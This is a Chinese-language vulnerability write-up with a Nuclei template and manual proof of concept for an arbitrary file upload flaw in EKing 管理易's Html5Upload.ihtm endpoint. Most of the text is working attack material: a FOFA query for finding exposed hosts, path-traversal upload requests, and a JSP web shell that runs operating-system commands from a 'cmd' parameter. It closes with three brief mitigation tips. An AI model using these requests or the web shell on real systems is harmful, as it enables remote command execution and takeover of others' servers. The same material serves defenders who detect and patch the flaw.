eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

01-Nuclei POC

id: Eking-guanliyi-Html5Upload-fileupload

info:
  name: eking管理易Html5Upload接口处存在任意文件上传漏洞
  author: kingkong
  severity: high
  metadata:
    fofa-query: app="EKing-管理易"
variables:
  filename: "{{rand_base(8)}}"
  filedata: "{{randstr}}"

http:
  - raw:
      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        comm_type=INIT&sign_id=test&vp_type=default&file_name=../../{{filename}}.jsp&file_size=2048

      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
        Connection: close

        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="comm_type"

        DATA
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="sign_id"

        test
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="data_inde"

        0
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="data"; filename="chunk1"
        Content-Type: application/octet-stream

        <%out.println("{{filedata}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundaryj7OlOPiiukkdktZR--

      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        comm_type=END&sign_id=test&file_name=../../{{filename}}.jsp

      - |
        GET {{fileUrl}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
              - 'status_code_1 == 200'
              - 'status_code_2 == 200'
              - 'status_code_3 == 200'
              - 'status_code_4 == 200'
              - 'contains(body_1,"status")'
              - 'contains(body_2,"status")'
              - 'contains(body_3,"status")'
              - 'contains(body_4,"{{filedata}}")'
        condition: and

    extractors:
      - type: regex
        name: fileUrl
        part: body_3
        group: 1
        regex:
          - (upload2/[0-9]{4}-[0-9]{2}-[0-9]{2}/../../[a-zA-Z0-9]{8}.jsp)
        internal: true

FOFA：app="EKing-管理易"

界面如下

请求包1：创建临时文件

请求包2：写入文件内容

请求包3：保存文件

访问验证

漏洞检测POC

1、创建临时文件
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

comm_type=INIT&sign_id=test&vp_type=default&file_name=../../test.jsp&file_size=2048

2、写入文件内容
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"

DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"

test
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"

0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryj7OlOPiiukkdktZR--

3、保存文件
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

comm_type=END&sign_id=test&file_name=../../test.jsp

4、访问验证
GET /upload2/2024-11-17/../../test.jsp HTTP/1.1
Host:

1、文件类型验证：仅允许上传特定类型的文件，例如图像、文档等，并拒绝可执行文件或其他潜在的恶意文件类型。

2、文件大小限制：限制上传文件的大小，以防止恶意用户上传过大的文件导致服务器资源耗尽。

3、文件名处理：对上传的文件进行重命名，避免使用用户提供的文件名，以防止路径遍历攻击。